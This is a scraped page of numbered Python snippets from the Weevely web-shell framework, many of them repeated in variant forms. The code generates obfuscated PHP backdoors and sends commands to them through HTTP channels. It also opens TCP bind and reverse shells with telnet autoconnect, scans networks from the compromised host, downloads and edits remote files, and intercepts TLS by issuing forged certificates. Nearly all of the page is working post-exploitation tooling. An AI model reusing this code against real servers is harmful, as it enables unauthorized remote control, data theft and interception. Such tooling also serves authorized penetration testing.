Пример #1
0
    def setup(self):
        """Instauration of the PHP channel. Returns the module status."""

        # Try a single channel if is manually set, else
        # probe every the supported channel from config
        if self.session.get('channel'):
            channels = [ self.session['channel'] ]
        else:
            channels = config.channels

        for channel_name in channels:

            channel = Channel(
                channel_name = channel_name,
                session = self.session
            )

            status = self._check_interpreter(channel)

            if status == Status.RUN:
                self.session['channel'] = channel_name
                self.channel = channel
                break

        log.debug(
            'PHP setup %s %s' % (
                'running' if status == Status.RUN else 'failed',
                'with %s channel' % (channel_name) if status == Status.RUN else ''
            )
        )

        return status
Пример #2
0
    def run(self):
        """ Run module """

        # This is an unusual slack setup at every execution
        # to check and eventually instance the proper channel
        if self.session['shell_php'].get('status') != Status.RUN: self.setup()

        cwd = self._get_stored_result('cwd', module='file_cd', default='.')
        chdir = '' if cwd == '.' else "chdir('%s');" % cwd
        bypass = Php.max_time_bypass if 'max_time_bypass' in self.session and self.session['max_time_bypass'] else ''

        # Compose command with cwd, pre_command, and post_command option.
        self.args.update({
            'chdir': chdir,
            'bypass': bypass
        })
        command = Template(
            """${chdir}${bypass}${prefix}${ ' '.join(command) }${suffix}""",
            strict_undefined=True
        ).render(**self.args)

        log.debug('PAYLOAD %s' % command)

        # Send command
        response, code, error = self.channel.send(command)

        if self.args.get('raw_response'):
            return response
        else:
            return response.decode('utf-8', 'replace')
Пример #3
0
    def setup(self, args={}):
        """Instauration of the PHP channel. Returns the module status."""

        self._instantiate_channel()

        rand = str(random.randint(11111, 99999))

        command = 'echo(%s);' % rand
        response, code = self.channel.send(command)

        if rand == response:
            status = Status.RUN
            self.session['channel'] = self.channel.channel_name
        else:
            status = Status.FAIL

        # If the response is wrong, warn about the
        # error code
        self._print_response_status(command, code, response)

        log.debug(
            'PHP shell is %s' % (
                'running' if status == Status.RUN else 'failed'
            )
        )

        return status
Пример #4
0
    def send(self, payload):

        response = b''
        code = 200
        error = ''

        human_error = ''

        try:
            response = self.channel_loaded.send(
                payload,
                self._additional_handlers()
            )
        except socks.ProxyError as e:
            if e.socket_err and e.socket_err.errno:
                code = e.socket_err.errno
            if e.msg:
                error = str(e.msg)

            human_error = messages.module_shell_php.error_proxy

        except HTTPError as e:
            if e.code:
                code = e.code
            if e.reason:
                error = str(e.reason)

            if code == 404:
                human_error = messages.module_shell_php.error_404_remote_backdoor
            elif code == 500:
                human_error = messages.module_shell_php.error_500_executing
            elif code != 200:
                human_error = messages.module_shell_php.error_i_executing % code

        except URLError as e:
            code = 0
            if e.reason:
                error = str(e.reason)

            human_error = messages.module_shell_php.error_URLError_network

        if response:
            dlog.info('RESPONSE: %s' % repr(response))
        else:
            response = b''
            command_last_chars = utils.prettify.shorten(
                                    payload.rstrip(),
                                    keep_trailer = 10
                                )
            if (
                command_last_chars and
                command_last_chars[-1] not in ( ';', '}' )
                ):
                log.warning(messages.module_shell_php.missing_php_trailer_s % command_last_chars)

        if error or human_error:
            log.debug('[ERR] %s [%s]' % (error, code))
            log.warning(human_error)

        return response, code, error
Пример #5
0
    def run_alias(self, args, cmd):
        """Execute the module to replace a missing terminal command.

        This runs the module if the direct shell command can't
        be run due to the shell_sh failing.

        It is called when some alias defined in `Module.alias` list
        is executed from the command line.

        Normally does not need to be overridden.

        Args:
            args (str): string containing the module arguments.

        Return:
            Object. The result of the module execution.

        """

        if self.session['default_shell'] != 'shell_sh':
            log.debug(messages.module.running_the_alias_s % self.name)
            return self.run_cmdline(args)
        else:
            modules.loaded['shell_sh'].run_cmdline(
                '%s -- %s' % (cmd, args)
            )
Пример #6
0
    def connect_intercept(self):
        hostname = self.path.split(':')[0]
        certname = "%s.crt" % (hostname)
        certpath = os.path.join(self.certdir, certname)

        if not (re_valid_ip.match(hostname) or re_valid_hostname.match(hostname)):
            log.warn("CN name '%s' is not valid, using 'www.weevely.com'" % (hostname))
            hostname = 'www.weevely.com'

        with self.lock:
            if not os.path.isfile(certpath):
                epoch = "%d" % (time.time() * 1000)
                p1 = Popen(["openssl", "req", "-new", "-key", self.certkey, "-subj", "/CN=%s" % hostname], stdout=PIPE)
                p2 = Popen(["openssl", "x509", "-req", "-days", "3650", "-CA", self.cacert, "-CAkey", self.cakey, "-set_serial", epoch, "-out", certpath], stdin=p1.stdout, stderr=PIPE)
                p2.communicate()

        self.wfile.write("%s %d %s\r\n" % (self.protocol_version, 200, 'Connection Established'))
        self.end_headers()

        try:
            self.connection = ssl.wrap_socket(self.connection, keyfile=self.certkey, certfile=certpath, server_side=True)
            self.rfile = self.connection.makefile("rb", self.rbufsize)
            self.wfile = self.connection.makefile("wb", self.wbufsize)
        except Exception as e:
            log.debug(e)
            raise

        conntype = self.headers.get('Proxy-Connection', '')
        if self.protocol_version == "HTTP/1.1" and conntype.lower() != 'close':
            self.close_connection = 0
        else:
            self.close_connection = 1
Пример #7
0
    def _print_response_status(self, command, code, response):

        """
        Debug print and warning in case of missing response and HTTP errors
        """

#        log.debug(
#           utilities.shorten_string(
#               command,
#               keep_header = 40,
#               keep_trailer = 40
#           )
#        )

        log.debug('PAYLOAD %s' % command)
        dlog.info('== RESPONSE ==\n%s==== END ====' % response)

        if response: return

        if code == 404:
            log.warn(messages.module_shell_php.error_404_remote_backdoor)
        elif code == 500:
            log.warn(messages.module_shell_php.error_500_executing)
        elif code == -1:
            log.warn(messages.module_shell_php.error_URLError_network)
        elif code != 200:
            log.warn(messages.module_shell_php.error_i_executing % code)

        command_last_chars = utilities.shorten_string(command.rstrip(),
                                                    keep_trailer = 10)

        if (command_last_chars and
              command_last_chars[-1] not in ( ';', '}' )):
            log.warn(messages.module_shell_php.missing_php_trailer_s % command_last_chars)
Пример #8
0
 def log_message(self, format, *args):
     log.debug(
             "%s - - [%s] %s\n" %
                 (self.client_address[0],
                 self.log_date_time_string(),
                 format % self.args)
             )
Пример #9
0
    def run(self):
        """ Run module """

        # This is an unusual slack setup at every execution
        # to check and eventually instance the proper channel
        self.setup()

        cwd = self._get_stored_result('cwd', module = 'file_cd', default = '.')
        chdir = '' if cwd == '.' else "chdir('%s');" % cwd

        # Compose command with cwd, pre_command, and post_command option.
        self.args.update({ 'chdir' : chdir })
        command = Template("""${chdir}${prefix_string}${ ' '.join(command) }${postfix_string}""").render(**self.args)

        # Minify PHP payload.
        #
        # In case of error, modify session minify variable and
        # return original code.
        if self.session['shell_php']['stored_args'].get('minify', True):
            minified = utils.code.minify_php(command)
            self.session['shell_php'][
                        'stored_args'][
                        'minify'] = bool(minified)
            command = minified if minified else command

        log.debug('PAYLOAD %s' % command)

        # Send command
        response, code = self.channel.send(command)

        # If the response is empty, warn about the error code
        self._print_response_status(command, code, response)

        # Strip last newline if present
        return response
Пример #10
0
def main(arguments):

    if arguments.command == 'generate':

        obfuscated = generate.generate(password=arguments.password,
                                       obfuscator=arguments.obfuscator,
                                       agent=arguments.agent)

        generate.save_generated(obfuscated, arguments.path)

        log.info(
            messages.generate.generated_backdoor_with_password_s_in_s_size_i %
            (arguments.password, arguments.path, len(obfuscated)))

        return

    elif arguments.command == 'terminal':
        session = SessionURL(url=arguments.url, password=arguments.password)

    elif arguments.command == 'session':
        session = SessionFile(arguments.path)

    log.debug(pprint.pformat(session))

    modules.load_modules(session)

    if not arguments.cmd:
        Terminal(session).cmdloop()
    else:
        Terminal(session).onecmd(arguments.cmd)
Пример #11
0
    def run_alias(self, args, cmd):

        if self.session["default_shell"] != "shell_sh":
            log.debug(messages.module.running_the_alias_s % self.name)
            return self.run_cmdline("-info %s" % cmd)
        else:
            modules.loaded["shell_sh"].run_cmdline("%s -- %s" % (cmd, args))
Пример #12
0
    def run_alias(self, args, cmd):
        """Execute the module to replace a missing terminal command.

        This runs the module if the direct shell command can't
        be run due to the shell_sh failing.

        It is called when some alias defined in `Module.alias` list
        is executed from the command line.

        Normally does not need to be overridden.

        Args:
            args (str): string containing the module arguments.

        Return:
            Object. The result of the module execution.

        """

        if self.session['default_shell'] != 'shell_sh':
            log.debug(messages.module.running_the_alias_s % self.name)
            return self.run_cmdline(args)
        else:
            return modules.loaded['shell_sh'].run_cmdline(
                '%s -- %s' % (cmd, args)
            )
Пример #13
0
    def _print_response_status(self, command, code, response):
        """
        Debug print and warning in case of missing response and HTTP errors
        """

        #        log.debug(
        #           utilities.shorten_string(
        #               command,
        #               keep_header = 40,
        #               keep_trailer = 40
        #           )
        #        )

        log.debug('PAYLOAD %s' % command)
        dlog.info('== RESPONSE ==\n%s==== END ====' % response)

        if response: return

        if code == 404:
            log.warn(messages.module_shell_php.error_404_remote_backdoor)
        elif code == 500:
            log.warn(messages.module_shell_php.error_500_executing)
        elif code == -1:
            log.warn(messages.module_shell_php.error_URLError_network)
        elif code != 200:
            log.warn(messages.module_shell_php.error_i_executing % code)

        command_last_chars = utilities.shorten_string(command.rstrip(),
                                                      keep_trailer=10)

        if (command_last_chars and command_last_chars[-1] not in (';', '}')):
            log.warn(messages.module_shell_php.missing_php_trailer_s %
                     command_last_chars)
Пример #14
0
    def setup(self):
        """Instauration of the PHP channel. Returns the module status."""

        # Try a single channel if is manually set, else
        # probe every the supported channel from config
        if self.session.get('channel'):
            channels = [self.session['channel']]
        else:
            channels = config.channels

        for channel_name in channels:

            channel = Channel(
                channel_name=channel_name,
                session=self.session
            )

            status = self._check_interpreter(channel)

            if status == Status.RUN:
                self.session['channel'] = channel_name
                self.channel = channel
                break

        log.debug(
            'PHP setup %s %s' % (
                'running' if status == Status.RUN else 'failed',
                'with %s channel' % (channel_name) if status == Status.RUN else ''
            )
        )

        return status
Пример #15
0
    def run(self, format_args = {}):
        """Run the module with the formatted payload.

        Render the contained payload with mako and pass the result
        as argument to the given module. The result is processed by the
        `self.postprocess` method.

        Args:
            format_arg (dict): The dictionary to format the payload with.

        Return:
            Object. Contains the postprocessed result of the `run_argv`
            module execution.

        """

        try:
            formatted = self.format(format_args)
        except TypeError as e:
            import traceback; log.debug(traceback.format_exc())
            raise DevException(messages.vectors.wrong_arguments_type)

        # The background argument is set at vector init in order
        # to threadify vectors also if called by VectorList methods.
        if self.background:
            thread.start_new_thread(modules.loaded[self.module].run_argv, (formatted, ))
            result = None
        else:
            result = modules.loaded[self.module].run_argv(formatted)

        if self.postprocess:
            result = self.postprocess(result)

        return result
Пример #16
0
    def setup(self):
        """Instauration of the PHP channel. Returns the module status."""

        # Return if already set. This check has to be done due to
        # the slack initialization in run()
        if self.channel: return

        # Try a single channel if is manually set, else
        # probe every the supported channel from config
        if self.session.get('channel'):
            channels = [self.session['channel']]
        else:
            channels = config.channels

        for channel_name in channels:

            channel = Channel(url=self.session['url'],
                              password=self.session['password'],
                              channel_name=channel_name)

            status = self._check_interpreter(channel)

            if status == Status.RUN:
                self.session['channel'] = channel_name
                self.channel = channel
                break

        log.debug('PHP setup %s %s' %
                  ('running' if status == Status.RUN else 'failed',
                   'with %s channel' %
                   (channel_name) if status == Status.RUN else ''))

        return status
Пример #17
0
    def run(self):
        """ Run module """

        # This is an unusual slack setup at every execution
        # to check and eventually instance the proper channel
        if self.session['shell_php'].get('status') != Status.RUN: self.setup()

        cwd = self._get_stored_result('cwd', module = 'file_cd', default = '.')
        chdir = '' if cwd == '.' else "chdir('%s');" % cwd

        # Compose command with cwd, pre_command, and post_command option.
        self.args.update({ 'chdir' : chdir })
        command = Template("""${chdir}${prefix_string}${ ' '.join(command) }${postfix_string}""").render(**self.args)

        # Minify PHP payload.
        #
        # In case of error, modify session minify variable and
        # return original code.
        if self.session['shell_php']['stored_args'].get('minify', True):
            minified = utils.code.minify_php(command)
            self.session['shell_php'][
                        'stored_args'][
                        'minify'] = bool(minified)
            command = minified if minified else command

        log.debug('PAYLOAD %s' % command)

        # Send command
        response, code, error = self.channel.send(command)

        # Strip last newline if present
        return response
Пример #18
0
    def send(self, payload):

        response = ''
        code = 200
        error = ''

        human_error = ''

        try:
            response = self.channel_loaded.send(
                payload,
                self._additional_handlers()
            )
        except socks.ProxyError as e:
            if e.socket_err and e.socket_err.errno:
                code = e.socket_err.errno
            if e.msg:
                error = str(e.msg)

            human_error = messages.module_shell_php.error_proxy

        except HTTPError as e:
            if e.code:
                code = e.code
            if e.reason:
                error = str(e.reason)

            if code == 404:
                human_error = messages.module_shell_php.error_404_remote_backdoor
            elif code == 500:
                human_error = messages.module_shell_php.error_500_executing
            elif code != 200:
                human_error = messages.module_shell_php.error_i_executing % code

        except URLError as e:
            code = 0
            if e.reason:
                error = str(e.reason)

            human_error = messages.module_shell_php.error_URLError_network

        if response:
            dlog.info('RESPONSE: %s' % repr(response))
        else:
            command_last_chars = utils.prettify.shorten(
                                    payload.rstrip(),
                                    keep_trailer = 10
                                )
            if (
                command_last_chars and
                command_last_chars[-1] not in ( ';', '}' )
                ):
                log.warn(messages.module_shell_php.missing_php_trailer_s % command_last_chars)

        if error or human_error:
            log.debug('[ERR] %s [%s]' % (error, code))
            log.warn(human_error)

        return response, code, error
Пример #19
0
    def run(self):

        ## Address handling

        # Explode every single IP or network starting from
        # format IP1,IP2-IP3,IP/MASK,..
        IPs = []
        for ip_or_network in self.args["addresses"].split(","):

            if ip_or_network.count("-") == 1:
                # If there is a dash, explode
                IPs += list(utils.iputil.ip_range(ip_or_network))
            elif ip_or_network.count("/") == 1:
                # If there is a /, too
                IPs += [str(utils.ipaddr.IPAddress(ip)) for ip in utils.ipaddr.IPNetwork(ip_or_network)]
            else:
                IPs.append(ip_or_network)

        ## Port handling
        prts = utils.iputil.port_range(self.args["ports"])

        results_string = ""

        for ips_chunk in list(utils.strings.chunks(IPs, self.args["addresses_per_request"])):
            for prts_chunk in list(utils.strings.chunks(prts, self.args["ports_per_request"])):

                results_string += self.vectors.get_result(
                    name="fsockopen",
                    format_args={"ips": ips_chunk, "prts": prts_chunk, "timeout": self.args["timeout"]},
                )

                log.warn(
                    "Scanning addresses %s-%s:%i-%i" % (ips_chunk[0], ips_chunk[-1], prts_chunk[0], prts_chunk[-1])
                )

        # Crappy output handling

        result = []
        for result_string in results_string.split("\n"):

            addr_string_splitted = result_string.split(" ")

            if addr_string_splitted[0] == "OPN":
                address = addr_string_splitted[1]
                error = "OPEN"
            elif addr_string_splitted[0] == "ERR":
                address = addr_string_splitted[1]
                error = "%s (%s)" % (" ".join(addr_string_splitted[2:-1]), addr_string_splitted[-1])
            else:
                log.debug(messages.module_net_scan.unexpected_response)
                continue

            if self.args.get("print"):
                result.append((address, error))
            elif error == "OPEN":
                result.append(address)

        return result
Пример #20
0
    def run_alias(self, args, cmd):

        if self.session['default_shell'] != 'shell_sh':
            log.debug(messages.module.running_the_alias_s % self.name)
            return self.run_cmdline('-info %s' % cmd)
        else:
            modules.loaded['shell_sh'].run_cmdline(
                '%s -- %s' % (cmd, args)
            )
Пример #21
0
    def run(self):

        # Get a temporary file name
        suffix = re.sub('[\W]+', '_', self.args['rpath'])
        temp_file = tempfile.NamedTemporaryFile(suffix=suffix)
        lpath = temp_file.name

        # Keep track of the old timestamp if requested
        if self.args['keep_ts']:
            timestamp = ModuleExec('file_check',
                                   [self.args.get('rpath'), 'time']).run()

        # If remote file already exists and readable
        if ModuleExec('file_check',
                      [self.args.get('rpath'), 'readable']).run():

            # Download file
            result_download = ModuleExec(
                'file_download', [self.args.get('rpath'), lpath]).run()

            # Exit with no result
            # The error should already been printed by file_download exec
            if result_download == None: return

            # Store original md5
            md5_orig = hashlib.md5(open(lpath, 'rb',
                                        encoding='utf-8').read()).hexdigest()

            # Run editor
            subprocess.check_call([self.args['editor'], lpath])

            # With no changes, just return
            if md5_orig == hashlib.md5(
                    open(lpath, 'rb', encoding='utf-8').read()).hexdigest():
                log.debug(messages.module_file_edit.unmodified_file)
                temp_file.close()
                return

        else:
            subprocess.check_call([self.args['editor'], lpath])

        # Upload file
        result_upload = ModuleExec(
            'file_upload',
            ['-force', lpath, self.args.get('rpath')]).run()

        # Reset original timestamp if requested
        if self.args['keep_ts']:
            ModuleExec('file_touch',
                       [self.args.get('rpath'), '-epoch-ts',
                        str(timestamp)]).run()

        # Delete temp file
        temp_file.close()

        return result_upload
Пример #22
0
    def run_argv(self, argv):
        """Execute the module.

        Get arguments list as argument. The arguments are parsed with getopt,
        and validated. Then calls setup() and run() of module.

        Normally does not need to be overridden.

        Args:
            argv (list of str): The list of arguments.

        Returns:
            Object. The result of the module execution.

        """

        # Merge stored arguments with line arguments
        stored_args = self.session[self.name]['stored_args'].copy()
        self.args = stored_args.copy()

        try:
            user_args = self.argparser.parse_args(argv)
        except SystemExit:
            raise ArgparseError()

        self.args.update(
            dict(
                (key, value) for key, value in user_args.__dict__.items() if value != None
            )
        )

        # If module status is IDLE, launch setup()
        if self.session[self.name]['status'] == Status.IDLE:
            self.session[self.name]['status'] = self.setup()

            # If setup still not set the status to RUN, return
            if self.session[self.name]['status'] != Status.RUN:
                return

        # If module status is FAIL, return
        if self.session[self.name]['status'] == Status.FAIL:
            log.debug(messages.module.module_s_inactive % self.name)
            return

        # Setup() could has been stored additional args, so all the updated
        # stored arguments are applied to args
        self.args.update(
            dict(
                (key, value) for key, value in self.session[self.name]['stored_args'].items()
                if value != stored_args.get(key)
                )
        )

        return self.run()
Пример #23
0
    def run(self):

        # Run all the vectors
        for vector in self.vectors:

            # Skip vector if -vector is specified but does not match
            if self.args.get('vector') and self.args.get('vector') != vector.name:
                continue

            # Background run does not return results
            vector.run(self.args)

            # If set, skip autoconnect
            if self.args.get('no_autoconnect'): continue

            # Give some time to spawn the shell
            time.sleep(1)

            urlparsed = urlparse.urlparse(self.session['url'])

            if not urlparsed.hostname:
                log.debug(
                    messages.module_backdoor_tcp.error_parsing_connect_s % self.args['port']
                )
                continue

            try:
                telnetlib.Telnet(urlparsed.hostname, self.args['port'], timeout = 5).interact()

                # If telnetlib does not rise an exception, we can assume that
                # ended correctly and return from `run()`
                return
            except Exception as e:
                log.debug(
                    messages.module_backdoor_tcp.error_connecting_to_s_s_s % (
                        urlparsed.hostname,
                        self.args['port'],
                        e
                    )
                )

        # If autoconnect was expected but Telnet() calls worked,
        # prints error message
        if not self.args.get('no_autoconnect'):
            log.warn(
                messages.module_backdoor_tcp.error_connecting_to_s_s_s % (
                    urlparsed.hostname,
                    self.args['port'],
                    'remote port not open or unreachable'
                )
            )
Пример #24
0
    def run_argv(self, argv):
        """Execute the module.

        Get arguments list as argument. The arguments are parsed with getopt,
        and validated. Then calls setup() and run() of module.

        Normally does not need to be overridden.

        Args:
            argv (list of str): The list of arguments.

        Returns:
            Object. The result of the module execution.

        """

        # Merge stored arguments with line arguments
        stored_args = self.session[self.name]['stored_args'].copy()
        args = stored_args.copy()

        try:
            user_args = self.argparser.parse_args(argv)
        except SystemExit:
            return

        args.update(
            dict(
                (key, value) for key, value in user_args.__dict__.items() if value != None
            )
        )

        # If module status is IDLE, launch setup()
        if self.session[self.name]['status'] == Status.IDLE:
            self.session[self.name]['status'] = self.setup(args)

        # If module status is FAIL, return
        if self.session[self.name]['status'] == Status.FAIL:
            log.debug(messages.module.module_s_inactive % self.name)
            return

        # Setup() could has been stored additional args, so all the updated
        # stored arguments are applied to args
        args.update(
            dict(
                (key, value) for key, value in self.session[self.name]['stored_args'].items()
                if value != stored_args.get(key)
                )
        )

        return self.run(args)
Пример #25
0
    def connect_intercept(self):
        hostname = self.path.split(':')[0]
        certname = "%s.crt" % (hostname)
        certpath = os.path.join(self.certdir, certname)

        if not (re_valid_ip.match(hostname)
                or re_valid_hostname.match(hostname)):
            log.warn("CN name '%s' is not valid, using 'www.weevely.com'" %
                     (hostname))
            hostname = 'www.weevely.com'

        with self.lock:
            if not os.path.isfile(certpath):
                epoch = "%d" % (time.time() * 1000)
                p1 = Popen([
                    "openssl", "req", "-new", "-key", self.certkey, "-subj",
                    "/CN=%s" % hostname
                ],
                           stdout=PIPE)
                p2 = Popen([
                    "openssl", "x509", "-req", "-days", "3650", "-CA",
                    self.cacert, "-CAkey", self.cakey, "-set_serial", epoch,
                    "-out", certpath
                ],
                           stdin=p1.stdout,
                           stderr=PIPE)
                p2.communicate()

        self.wfile.write(
            "%s %d %s\r\n" %
            (self.protocol_version, 200, 'Connection Established'))
        self.end_headers()

        try:
            self.connection = ssl.wrap_socket(self.connection,
                                              keyfile=self.certkey,
                                              certfile=certpath,
                                              server_side=True)
            self.rfile = self.connection.makefile("rb", self.rbufsize)
            self.wfile = self.connection.makefile("wb", self.wbufsize)
        except Exception as e:
            log.debug(e)
            raise

        conntype = self.headers.get('Proxy-Connection', '')
        if self.protocol_version == "HTTP/1.1" and conntype.lower() != 'close':
            self.close_connection = 0
        else:
            self.close_connection = 1
Пример #26
0
    def run_cmdline(self, line, cmd = ''):
        """Execute the module from command line.

        Get command line string as argument. Called from terminal.

        Normally does not need to be overridden.

        Args:
            line (str): the module arguments.
            cmd (str): the executed command

        Return:
            Object. The result of the module execution.
        """

        # Split the command line
        try:
            command = shlex.split(line)
        except Exception as e:
            import traceback; log.debug(traceback.format_exc())
            log.warn(messages.generic.error_parsing_command_s % str(e))
            return

        # Execute the command, catching Ctrl-c, Ctrl-d, argparse exit,
        # and other exceptions
        try:
            result = self.run_argv(command)

        except (KeyboardInterrupt, EOFError):
            log.info(messages.module.module_s_exec_terminated % self.name)
            return

        except ArgparseError:
            return

        except Exception as e:
            import traceback; log.debug(traceback.format_exc())
            log.warn(messages.module.error_module_exec_error_s % str(e))
            return

        self.print_result(
            result[:-1] if (
                isinstance(result, basestring) and
                result.endswith('\n')
            ) else result
        )

        # Data is returned for the testing of _cmdline calls
        return result
Пример #27
0
    def run_cmdline(self, line, cmd=''):
        """Execute the module from command line.

        Get command line string as argument. Called from terminal.

        Normally does not need to be overridden.

        Args:
            line (str): the module arguments.
            cmd (str): the executed command

        Return:
            Object. The result of the module execution.
        """

        # Split the command line
        try:
            command = shlex.split(line)
        except Exception as e:
            import traceback
            log.debug(traceback.format_exc())
            log.warn(messages.generic.error_parsing_command_s % str(e))
            return

        # Execute the command, catching Ctrl-c, Ctrl-d, argparse exit,
        # and other exceptions
        try:
            result = self.run_argv(command)

        except (KeyboardInterrupt, EOFError):
            log.info(messages.module.module_s_exec_terminated % self.name)
            return

        except ArgparseError:
            return

        except Exception as e:
            import traceback
            log.debug(traceback.format_exc())
            log.warn(messages.module.error_module_exec_error_s % str(e))
            return

        self.print_result(result[:-1] if (
            isinstance(result, basestring) and result.endswith('\n')
        ) else result)

        # Data is returned for the testing of _cmdline calls
        return result
Пример #28
0
    def do_set(self, line, cmd):
        """Command "set" to set session variables."""

        try:
            args = shlex.split(line)
        except Exception as e:
            import traceback; log.debug(traceback.format_exc())
            log.warn(messages.generic.error_parsing_command_s % str(e))

        # Set the setting
        else:
            if len(args) < 2:
                log.warn(messages.terminal.set_usage)
            elif len(args) >= 2:
                args[1] = ' '.join(args[1:])
                self.session.set(args[0], args[1])
Пример #29
0
    def do_set(self, line, cmd):
        """Command "set" to set session variables."""

        try:
            args = shlex.split(line)
        except Exception as e:
            import traceback; log.debug(traceback.format_exc())
            log.warn(messages.generic.error_parsing_command_s % str(e))

        # Set the setting
        else:
            if len(args) < 2:
                log.warn(messages.terminal.set_usage)
            elif len(args) >= 2:
                args[1] = ' '.join(args[1:])
                self.session.set(args[0], args[1])
Пример #30
0
    def do_alias(self, line, cmd):
        """Handles :alias functions"""

        try:
            args = shlex.split(line)
        except Exception as e:
            import traceback
            log.debug(traceback.format_exc())
            log.warning(messages.generic.error_parsing_command_s % str(e))
        else:
            argc = len(args)

            if argc == 0:
                self.user_aliases.print_to_user()
            elif argc == 1:
                self.user_aliases.print_to_user(args[0])
            elif argc >= 2:
                self.user_aliases.set(args[0], ' '.join(args[1:]))
            else:
                log.warning(':alias usage')
Пример #31
0
    def do_set(self, line, cmd):
        """Command "set" to set session variables."""

        try:
            args = shlex.split(line)
        except Exception as e:
            import traceback; log.debug(traceback.format_exc())
            log.warn(messages.generic.error_parsing_command_s % str(e))
            return

        # Print all settings that startswith args[0]
        if len(args) < 2:
            self.session.print_to_user(args[0] if args else '')

        # Set the setting
        else:
            if len(args) > 2:
                args[1] = ' '.join(args[1:])

            self.session.set(args[0], args[1])
Пример #32
0
    def run(self):

        # Check remote file existance
        if not ModuleExec('file_check',
                          [self.args.get('rpath'), 'readable']).run():
            log.warning(messages.module_file_download.failed_download_file)
            return

        # Get the remote file MD5. If this is not available, still do a basic check
        # to see if the output is decodable as base64 string.
        expected_md5 = ModuleExec('file_check',
                                  [self.args.get('rpath'), 'md5']).run()
        if expected_md5:
            check_md5 = lambda r: r != None and hashlib.md5(base64.b64decode(
                r)).hexdigest() == expected_md5
        else:
            log.debug(messages.module_file_download.skipping_md5_check)
            check_md5 = lambda r: r != None and bool(base64.b64decode(r))

        # Find the first vector that satisfy the md5 check
        vector_name, result = self.vectors.find_first_result(
            format_args=self.args, condition=check_md5)

        # Check if find_first_result failed
        if not vector_name:
            log.warning(messages.module_file_download.failed_download_file)
            return

        # Dump to local file
        lpath = self.args.get('lpath')

        try:
            result_decoded = base64.b64decode(result)
            with open(lpath, 'wb') as resultfile:
                resultfile.write(result_decoded)
        except Exception as e:
            log.warning(messages.generic.error_loading_file_s_s %
                        (lpath, str(e)))
            return

        return result_decoded
Пример #33
0
    def run(self, args):

        # Run all the vectors
        for vector in self.vectors:

            # Skip vector if -vector is specified but does not match
            if args.get('vector') and args.get('vector') != vector.name:
                continue

            # Background run does not return results
            vector.run(args)

            # If set, skip autoconnect
            if args.get('no_autoconnect'): continue

            # Run tcp server for the vector
            try:
                tcpserver = TcpServer(args['port'])
            except socket.timeout as e:
                log.debug(messages.module_backdoor_reversetcp.error_timeout)
                continue
Пример #34
0
    def run(self):

        # Run all the vectors
        for vector in self.vectors:

            # Skip vector if -vector is specified but does not match
            if self.args.get('vector') and self.args.get('vector') != vector.name:
                continue

            # Background run does not return results
            vector.run(self.args)

            # If set, skip autoconnect
            if self.args.get('no_autoconnect'): continue

            # Run tcp server for the vector
            try:
                tcpserver = TcpServer(self.args['port'])
            except socket.timeout as e:
                log.debug(messages.module_backdoor_reversetcp.error_timeout)
                continue
Пример #35
0
    def do_set(self, line, cmd):
        """Command "set" to set session variables."""

        try:
            args = shlex.split(line)
        except Exception as e:
            import traceback
            log.debug(traceback.format_exc())
            log.warn(messages.generic.error_parsing_command_s % str(e))
            return

        # Print all settings that startswith args[0]
        if len(args) < 2:
            self.session.print_to_user(args[0] if args else '')

        # Set the setting
        else:
            if len(args) > 2:
                args[1] = ' '.join(args[1:])

            self.session.set(args[0], args[1])
Пример #36
0
    def _get_ifconfig_result(self, ifconfig_path):

        result = ShellCmd(ifconfig_path, target=Os.NIX).run()

        if not result:
            log.debug(
                messages.module_net_ifconfig.error_no_s_execution_result %
                ifconfig_path)
            return {}

        ifaces = re.findall('^(\S+).*?inet addr:(\S+).*?Mask:(\S+)', result,
                            re.S | re.M)

        if not ifaces:
            log.debug(
                messages.module_net_ifconfig.error_parsing_s_execution_result %
                ifconfig_path)
            return {}

        networks = {}

        for iface in ifaces:
            try:
                networks[iface[0]] = IPNetwork('%s/%s' % (iface[1], iface[2]))
            except Exception as e:
                log.debug(messages.module_net_ifconfig.
                          error_interpeting_s_execution_result_s %
                          (ifconfig_path, str(e)))
                pass

        return networks
    def _get_ifconfig_result(self, ifconfig_path):

        result = ShellCmd(
                    ifconfig_path,
                    target = Os.NIX
                    ).run()

        if not result:
            log.debug(messages.module_net_ifconfig.error_no_s_execution_result % ifconfig_path)
            return {}

        ifaces = re.findall('^(\S+).*?inet addr:(\S+).*?Mask:(\S+)', result, re.S | re.M)

        if not ifaces:
            log.debug(messages.module_net_ifconfig.error_parsing_s_execution_result % ifconfig_path)
            return {}

        networks = {}

        for iface in ifaces:
            try:
                networks[iface[0]] = IPNetwork('%s/%s' % (iface[1], iface[2]))
            except Exception as e:
                log.debug(messages.module_net_ifconfig.error_interpeting_s_execution_result_s % (ifconfig_path, str(e)))
                pass

        return networks
Пример #38
0
def main(arguments):

    if arguments.command == 'generate':

        obfuscated = generate.generate(
            password = arguments.password,
            obfuscator = arguments.obfuscator,
            agent = arguments.agent
        )

        generate.save_generated(obfuscated, arguments.path)

        log.info(
        messages.generate.generated_backdoor_with_password_s_in_s_size_i %
        (arguments.password, arguments.path, len(obfuscated))
        )

        return

    elif arguments.command == 'terminal':
        session = SessionURL(
            url = arguments.url,
            password = arguments.password
        )

    elif arguments.command == 'session':
        session = SessionFile(arguments.path)

    log.debug(
        pprint.pformat(session)
    )

    modules.load_modules(session)

    if not arguments.cmd:
        Terminal(session).cmdloop()
    else:
        Terminal(session).onecmd(arguments.cmd)
Пример #39
0
    def setup(self):
        """Instauration of the PHP channel. Returns the module status."""

        # Return if already set. This check has to be done due to
        # the slack initialization in run()
        if self.channel: return

        # Try a single channel if is manually set, else
        # probe every the supported channel from config
        if self.session.get('channel'):
            channels = [ self.session['channel'] ]
        else:
            channels = config.channels

        for channel_name in channels:

            channel = Channel(
                url = self.session['url'],
                password = self.session['password'],
                channel_name = channel_name
            )

            status = self._check_interpreter(channel)

            if status == Status.RUN:
                self.session['channel'] = channel_name
                self.channel = channel
                break

        log.debug(
            'PHP setup %s %s' % (
                'running' if status == Status.RUN else 'failed',
                'with %s channel' % (channel_name) if status == Status.RUN else ''
            )
        )

        return status
Пример #40
0
    def run(self):

        # Check remote file existance
        if not ModuleExec('file_check', [ self.args.get('rpath'), 'readable' ]).run():
            log.warn(messages.module_file_download.failed_download_file)
            return

        # Get the remote file MD5. If this is not available, still do a basic check
        # to see if the output is decodable as base64 string.
        expected_md5 = ModuleExec('file_check', [ self.args.get('rpath'), 'md5' ]).run()
        if expected_md5:
            check_md5 = lambda r: hashlib.md5(base64.b64decode(r)).hexdigest() == expected_md5
        else:
            log.debug(messages.module_file_download.skipping_md5_check)
